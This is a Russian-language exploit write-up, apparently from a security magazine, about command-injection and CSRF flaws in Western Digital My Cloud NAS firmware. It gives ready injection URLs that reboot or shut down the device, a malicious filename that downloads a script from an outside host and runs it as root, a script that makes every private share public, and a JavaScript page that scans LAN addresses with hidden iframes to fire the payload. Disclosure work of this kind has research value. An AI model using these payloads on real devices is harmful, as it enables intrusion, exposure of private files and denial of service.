Western Digital My Cloud (Personal Cloud Storage) представляет собой Network Attached Storage (NAS). Он пригоден как для использования дома, так и в качестве личного облака для небольших команд. К хранящимся данным можно получить доступ не только из личной сети, но и с другого конца света. На фоне нашумевших утечек личной информации такие устройства стали еще более востребованы — ведь доступ к данным не получит сторонняя организация. По крайней мере в теории.
Уязвимости типа инъекция команд и CSRF были найдены в прошивке с версиями 04.01.03-421 и 04.01.04-422. Предыдущие версии, установленные в разные NAS этой компании, тоже потенциально уязвимы.
EXPLOIT
WD My Cloud работает на Debian Linux. Есть два способа взаимодействия с системой:
- интерфейс для администратора (http://wdmycloud.local/UI/);
- RESTful API (http://wdmycloud.local/api/). Он используется администраторским интерфейсом и клиентскими приложениями.
Весь исходный код хранится на устройствe в папке /var/www, и к нему можно получить доступ через SSH. Веб-приложение, как правило, выполняет обычные скрипты на устройстве: добавление и удаление пользователей, проверка доступного места на диске, перезагрузка и другие. Такие скрипты находятся в /usr/local/sbin/. Так как большинство из них требует прав администратора, пользователь www-data числится в /etc/sudoers.
Разберем возможность инъекции команд. С помощью SSH-дoступа к устройству (который включается в панели администратора) автор эксплоита нашел внутри /var/www код на PHP, который позволяет выполнять команды в ОС. Функция exec_runtime из файла /var/www/rest-api/api/Core/init_autoloader.php спроектирована так, что полученные данные отправляет в функцию exec.
В некоторых случаях пользователь может передать параметры GET и POST, которые придут в эту функцию, а затем выполнятся в системе. Часть скриптов плохо проверяет переданные параметры и отправляет их в функцию exec кaк есть. На скриншоте представлен один из таких случаев, найденный в скрипте /var/www/rest-api/api/SafePoint/src/SafePoint/Controller/SafePointGetStatus.php.
При просмотре исходного кода скрипта был обнаружен параметр запроса handle, который передается напрямую в скрипт safeptExec.pl без какой-либо обработки. Для демонстрации воспользуемся CSRF-атакой на авторизованного администратора, который при заходе на нашу страницу выполнит запрос и перезагрузит устройство ($(sudo reboot)).
http://wdmycloud.local/api/1.0/rest/safepoint_getstatus?handle=$(sudo reboot)&action=update
Из-за того что нет никакой обработки или проверки этого параметра при копировании в $opts, вызов функции exec_runtime заставит систему выполнить команду как есть.
sudo perl <INCLUDE_PATH> /usr/local/NSPT/WDSafe/safeptExec.pl –handle=$(sudo reboot)&action=update
Команда $(sudo reboot), в свою очередь, прервет работу ОС, и остальные команды не будут выполнены.
Еще одна проблема связана с обработкой больших файлов. Когда администратор настраивает устройство, он может добавить новых пользователей, назначить права доступа к разделам и выдать или запретить удаленный доступ, а также разграничить доступ к файлам. Удаленный доступ возможен для клиентов c Windows, Mac, Android и iPhone. Им доступен фронтенд, который получает ответы от устройства по RESTful API. Благодаря найденным в этой структуре ошибкам автор обнаружил возможность любому авторизованному пользователю выполнять произвольные команды или получить доступ к файлам других пользователей. Что еще хуже, атакующий будет иметь доступ к корневому разделу NAS.
[ad name=»Responbl»]
В скрипте /var/www/rest-api/api/Common/includes/util.inc определена функция fstatLfs, которая получает статическую информацию из файлов. Для файлов размером два гигабайта и более есть свой обработчик. В нем и нашлась ошибка: имена файлов передаются через командную строку в двойных кавычках, а не в одинарных. Из-за двойных кавычек строки в таком имени файлов будут обрабатываться как команды.
Эксплуатация этой уязвимости проста: загружаем файл размером более двух гигабайт с вредоносным именем.
$(sudo curl 192.168.0.226 -o makeAllPublic.sh && sudo bash makeAllPublic.sh).txt
Вот как выглядит makeAllPublic.sh.
#!/bin/bash while read share; do echo UPDATE UserShares SET public_access="true" WHERE share_name="$share"";" | sqlite3 /usr/local/nas/orion/orion.db; done < <(bash /usr/local/sbin/getShares.sh private)
В результате на устройстве все разделы станут публичными и любой пользователь сможет получить к ним доступ.
Но что делать, если у атакующего нет авторизованного доступа? Так как устройство используется в локальной сети, существует папка Public, в которую в большинстве случаев может положить файл любой желающий. В итоге нужно создать файл с указанным размером и вредоносным именем. Далее ждем, когда авторизованный пользователь просмотрит папку с любого устройства, используя клиентское приложение WD.
Устройство подвержено и CSRF-атакам. Это позволяет выполнить различные команды, если пользователь зайдет на нашу страницу.
http://wdmycloud.local/api/1.0/rest/safepoint_getstatus?handle=$(sudo shutdown -h now)&action=update
Адрес устройства не всегда имеет такой вид, но тут нам на помощь может прийти функция WebRTC, доступная в популярных браузерах. Еще нам требуется правильная сессия. В итоге для атаки нужно:
1. Использовать WebRTC для определения IP-адреса устройства.
2. Сделать запрос на My Cloud через LAN для создания правильной сессии в браузере.
3. Отправить атакующий запрос на устройство. Ниже приведен текст запроса.
... function exploit(ip) { var ip_part = ip.split("."); var cidr_24 = ip_part[0] + "." + ip_part[1] + "." + ip_part[2] + "."; if (ip_part[0] == "192" || ip_part[0] == "172" || ip_part[0] == "10") { var expFrame = new Array(255); for (i = 2; i < 40; i++) { document.write("<iframe id="" + i + "" src="http://" + cidr_24 + i +"/api/2.1/rest/local_login?username=" + "<?php echo $_GET['username'] ?>" + "&password=" + "<?php echo $_GET['password'] ?>" height=0 width=0 style="visibility:hidden;display:none"></iframe>"); }; for (i = 2; i < 40; i++) { document.write("<iframe id="exp" + i + "" src="http://" + cidr_24 + i + "/api/1.0/rest/safepoint_getstatus?handle=$(sudo shutdown -h now)&action=update" height=0 width=0 style="visibility:hidden;display:none"></iframe>"); setInterval( function(id) {document.getElementById(id).src = document.getElementById(id).src;}, 2000, "exp"+i ); }; }; }; function go() { getIPs(function(ip) { exploit(ip); }); };
Код на JavaScript, который используется для определения IP-адреса через WebRTC, можно скачать целиком отсюда. А полный текст страницы для CSRF-атаки ты можешь взять из Exploit-DB.
TARGETS
Прошивки с версиями до сентября 2015 года.
Протестировано на версиях 04.01.03-421 и 04.01.04-422 для устройств
Personal Cloud.